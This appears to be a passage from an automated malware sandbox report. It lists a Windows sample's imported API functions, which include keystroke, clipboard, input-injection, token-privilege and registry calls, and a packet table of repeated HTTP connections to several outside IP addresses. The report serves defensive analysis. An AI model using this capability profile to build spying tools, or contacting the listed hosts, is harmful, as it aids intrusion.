SetEnvironmentVariableA
                                                                        USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
                                                                        GDI32.dllDeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
                                                                        COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                                        ADVAPI32.dllRegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
                                                                        SHELL32.dllDragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                        ole32.dllOleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
                                                                        OLEAUT32.dllSafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

                                                                        Possible Origin

                                                                        Language of compilation systemCountry where language is spokenMap
                                                                        EnglishGreat Britain
                                                                        EnglishUnited States

                                                                        Network Behavior

                                                                        Network Port Distribution

                                                                        TCP Packets

                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                        Oct 2, 2024 15:15:41.871249914 CEST5557980192.168.2.5172.67.181.150
                                                                        Oct 2, 2024 15:15:41.876111984 CEST8055579172.67.181.150192.168.2.5
                                                                        Oct 2, 2024 15:15:41.876283884 CEST5557980192.168.2.5172.67.181.150
                                                                        Oct 2, 2024 15:15:41.884568930 CEST5557980192.168.2.5172.67.181.150
                                                                        Oct 2, 2024 15:15:41.889457941 CEST8055579172.67.181.150192.168.2.5
                                                                        Oct 2, 2024 15:15:42.369262934 CEST8055579172.67.181.150192.168.2.5
                                                                        Oct 2, 2024 15:15:42.369719982 CEST8055579172.67.181.150192.168.2.5
                                                                        Oct 2, 2024 15:15:42.369772911 CEST5557980192.168.2.5172.67.181.150
                                                                        Oct 2, 2024 15:15:42.373058081 CEST5557980192.168.2.5172.67.181.150
                                                                        Oct 2, 2024 15:15:42.377975941 CEST8055579172.67.181.150192.168.2.5
                                                                        Oct 2, 2024 15:15:57.499823093 CEST5558080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:15:57.504688978 CEST80555803.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:15:57.504791975 CEST5558080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:15:57.516074896 CEST5558080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:15:57.520917892 CEST80555803.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:15:59.024059057 CEST5558080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:15:59.029635906 CEST80555803.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:15:59.029752970 CEST5558080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:00.052054882 CEST5558180192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:00.057061911 CEST80555813.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:00.057290077 CEST5558180192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:00.068084955 CEST5558180192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:00.073215008 CEST80555813.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:00.551769972 CEST80555813.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:00.551834106 CEST5558180192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:01.571146011 CEST5558180192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:01.576143980 CEST80555813.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:02.574892044 CEST5558280192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:02.579857111 CEST80555823.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:02.580030918 CEST5558280192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:02.590126038 CEST5558280192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:02.595115900 CEST80555823.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:02.595129967 CEST80555823.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:04.102241993 CEST5558280192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:04.107892990 CEST80555823.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:04.108052969 CEST5558280192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:05.121237993 CEST5558380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:05.150616884 CEST80555833.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:05.150837898 CEST5558380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:05.158104897 CEST5558380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:05.162878990 CEST80555833.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:05.671933889 CEST80555833.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:05.671955109 CEST80555833.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:05.671962976 CEST80555833.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:05.672214031 CEST5558380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:05.675164938 CEST5558380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:05.679951906 CEST80555833.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:10.699621916 CEST5558480192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:10.704629898 CEST80555843.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:10.704777956 CEST5558480192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:10.717802048 CEST5558480192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:10.722738981 CEST80555843.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:11.163553953 CEST80555843.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:11.163641930 CEST5558480192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:12.227230072 CEST5558480192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:12.232772112 CEST80555843.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:13.246138096 CEST5558580192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:13.251322985 CEST80555853.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:13.251456976 CEST5558580192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:13.261183023 CEST5558580192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:13.266146898 CEST80555853.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:13.751383066 CEST80555853.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:13.751564026 CEST5558580192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:14.773999929 CEST5558580192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:14.778949022 CEST80555853.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:15.792155027 CEST5558680192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:15.797583103 CEST80555863.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:15.797791958 CEST5558680192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:15.807507992 CEST5558680192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:15.812475920 CEST80555863.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:15.812577963 CEST80555863.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:16.338350058 CEST80555863.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:16.338546038 CEST5558680192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:17.320854902 CEST5558680192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:17.326514959 CEST80555863.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:18.340671062 CEST5558780192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:18.346082926 CEST80555873.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:18.346241951 CEST5558780192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:18.355462074 CEST5558780192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:18.360336065 CEST80555873.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:18.812546968 CEST80555873.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:18.812660933 CEST80555873.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:18.812741995 CEST5558780192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:18.815016985 CEST5558780192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:18.819848061 CEST80555873.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:23.866485119 CEST5558880192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:23.871436119 CEST80555883.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:23.871661901 CEST5558880192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:23.883413076 CEST5558880192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:23.888247013 CEST80555883.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:24.396248102 CEST80555883.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:24.396322966 CEST5558880192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:25.398919106 CEST5558880192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:25.404037952 CEST80555883.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:26.418042898 CEST5558980192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:27.092123032 CEST80555893.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:27.092327118 CEST5558980192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:27.102982044 CEST5558980192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:27.108059883 CEST80555893.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:27.602575064 CEST80555893.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:27.602758884 CEST5558980192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:28.647258043 CEST5558980192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:28.652138948 CEST80555893.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:29.668777943 CEST5559080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:29.673801899 CEST80555903.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:29.673942089 CEST5559080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:29.689419985 CEST5559080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:29.694355965 CEST80555903.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:29.694437027 CEST80555903.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:30.399815083 CEST80555903.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:30.399955034 CEST5559080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:30.400207996 CEST80555903.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:30.400315046 CEST5559080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:30.623555899 CEST80555903.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:30.623676062 CEST5559080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:31.195997953 CEST5559080192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:31.201071024 CEST80555903.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:32.215284109 CEST5559180192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:32.221151114 CEST80555913.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:32.221297979 CEST5559180192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:32.228948116 CEST5559180192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:32.233774900 CEST80555913.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:33.631947041 CEST80555913.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:33.632128000 CEST80555913.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:33.632251978 CEST5559180192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:33.635413885 CEST5559180192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:33.640341997 CEST80555913.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:38.674182892 CEST5559280192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:38.679083109 CEST80555923.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:38.681787968 CEST5559280192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:38.695513010 CEST5559280192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:38.700519085 CEST80555923.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:39.165962934 CEST80555923.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:39.166062117 CEST5559280192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:40.195758104 CEST5559280192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:40.200934887 CEST80555923.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:41.214637995 CEST5559380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:41.219913960 CEST80555933.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:41.220000029 CEST5559380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:41.233326912 CEST5559380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:41.238305092 CEST80555933.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:42.547957897 CEST80555933.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:42.548170090 CEST5559380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:42.548666954 CEST80555933.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:42.548815012 CEST5559380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:42.549626112 CEST80555933.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:42.549674988 CEST5559380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:42.551208973 CEST80555933.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:42.551249027 CEST5559380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:42.743536949 CEST5559380192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:42.748611927 CEST80555933.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:43.764882088 CEST5559480192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:43.769849062 CEST80555943.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:43.769920111 CEST5559480192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:43.794504881 CEST5559480192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:43.799346924 CEST80555943.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:43.799530029 CEST80555943.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:44.230015039 CEST80555943.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:44.230060101 CEST5559480192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:45.307410002 CEST5559480192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:45.312310934 CEST80555943.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:46.325537920 CEST5559580192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:46.330516100 CEST80555953.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:46.330596924 CEST5559580192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:46.339888096 CEST5559580192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:46.345045090 CEST80555953.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:49.729471922 CEST80555953.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:49.729796886 CEST80555953.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:49.729846001 CEST5559580192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:49.732837915 CEST5559580192.168.2.53.33.130.190
                                                                        Oct 2, 2024 15:16:49.737729073 CEST80555953.33.130.190192.168.2.5
                                                                        Oct 2, 2024 15:16:55.259495974 CEST5559680192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:16:55.264468908 CEST8055596156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:16:55.264611959 CEST5559680192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:16:55.275247097 CEST5559680192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:16:55.280236006 CEST8055596156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:16:56.245364904 CEST8055596156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:16:56.245493889 CEST5559680192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:16:56.791500092 CEST5559680192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:16:56.796530008 CEST8055596156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:16:57.809511900 CEST5559780192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:16:57.814789057 CEST8055597156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:16:57.814861059 CEST5559780192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:16:57.828989029 CEST5559780192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:16:57.834043026 CEST8055597156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:16:59.338645935 CEST5559780192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:16:59.386658907 CEST8055597156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:00.356266022 CEST5559880192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:00.361329079 CEST8055598156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:00.361409903 CEST5559880192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:00.378099918 CEST5559880192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:00.383069992 CEST8055598156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:00.383255959 CEST8055598156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:01.883121967 CEST5559880192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:01.958570004 CEST8055598156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:02.902159929 CEST5559980192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:03.034346104 CEST8055599156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:03.034457922 CEST5559980192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:03.043546915 CEST5559980192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:03.048387051 CEST8055599156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:19.198755026 CEST8055597156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:19.199501038 CEST5559780192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:21.770203114 CEST8055598156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:21.770263910 CEST5559880192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:24.394175053 CEST8055599156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:24.394395113 CEST5559980192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:24.395267963 CEST5559980192.168.2.5156.242.132.82
                                                                        Oct 2, 2024 15:17:24.400124073 CEST8055599156.242.132.82192.168.2.5
                                                                        Oct 2, 2024 15:17:29.663321018 CEST5560080192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:29.668370008 CEST8055600136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:29.668452024 CEST5560080192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:29.680413008 CEST5560080192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:29.686080933 CEST8055600136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:30.421523094 CEST8055600136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:30.421539068 CEST8055600136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:30.421555042 CEST8055600136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:30.421567917 CEST8055600136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:30.421638012 CEST8055600136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:30.421691895 CEST5560080192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:30.421691895 CEST5560080192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:30.421691895 CEST5560080192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:31.195565939 CEST5560080192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:32.214611053 CEST5560180192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:32.219460964 CEST8055601136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:32.219717979 CEST5560180192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:32.231044054 CEST5560180192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:32.235872984 CEST8055601136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:32.866064072 CEST8055601136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:32.866086006 CEST8055601136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:32.866167068 CEST5560180192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:32.867831945 CEST8055601136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:32.867882013 CEST5560180192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:33.742497921 CEST5560180192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:34.761161089 CEST5560280192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:34.765952110 CEST8055602136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:34.766021013 CEST5560280192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:34.777515888 CEST5560280192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:34.782371044 CEST8055602136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:34.782475948 CEST8055602136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:35.464034081 CEST8055602136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:35.464078903 CEST8055602136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:35.464121103 CEST5560280192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:36.289484024 CEST5560280192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:37.309536934 CEST5560380192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:37.314526081 CEST8055603136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:37.314599037 CEST5560380192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:37.323844910 CEST5560380192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:37.330137014 CEST8055603136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:37.940375090 CEST8055603136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:37.940391064 CEST8055603136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:37.940402985 CEST8055603136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:37.940459967 CEST8055603136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:37.940471888 CEST8055603136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:37.940568924 CEST8055603136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:37.940608978 CEST5560380192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:37.940608978 CEST5560380192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:37.943533897 CEST5560380192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:37.947249889 CEST5560380192.168.2.5136.143.186.12
                                                                        Oct 2, 2024 15:17:37.952027082 CEST8055603136.143.186.12192.168.2.5
                                                                        Oct 2, 2024 15:17:43.505364895 CEST5560480192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:43.510309935 CEST8055604199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:43.510387897 CEST5560480192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:43.519705057 CEST5560480192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:43.524688005 CEST8055604199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:44.103954077 CEST8055604199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:44.103981018 CEST8055604199.192.21.169192.168.2.5
                                                                        Oct 2, 2024 15:17:44.108912945 CEST5560480192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:45.026014090 CEST5560480192.168.2.5199.192.21.169
                                                                        Oct 2, 2024 15:17:46.048084974 CEST5560580192.168.2.5199.192.21.169
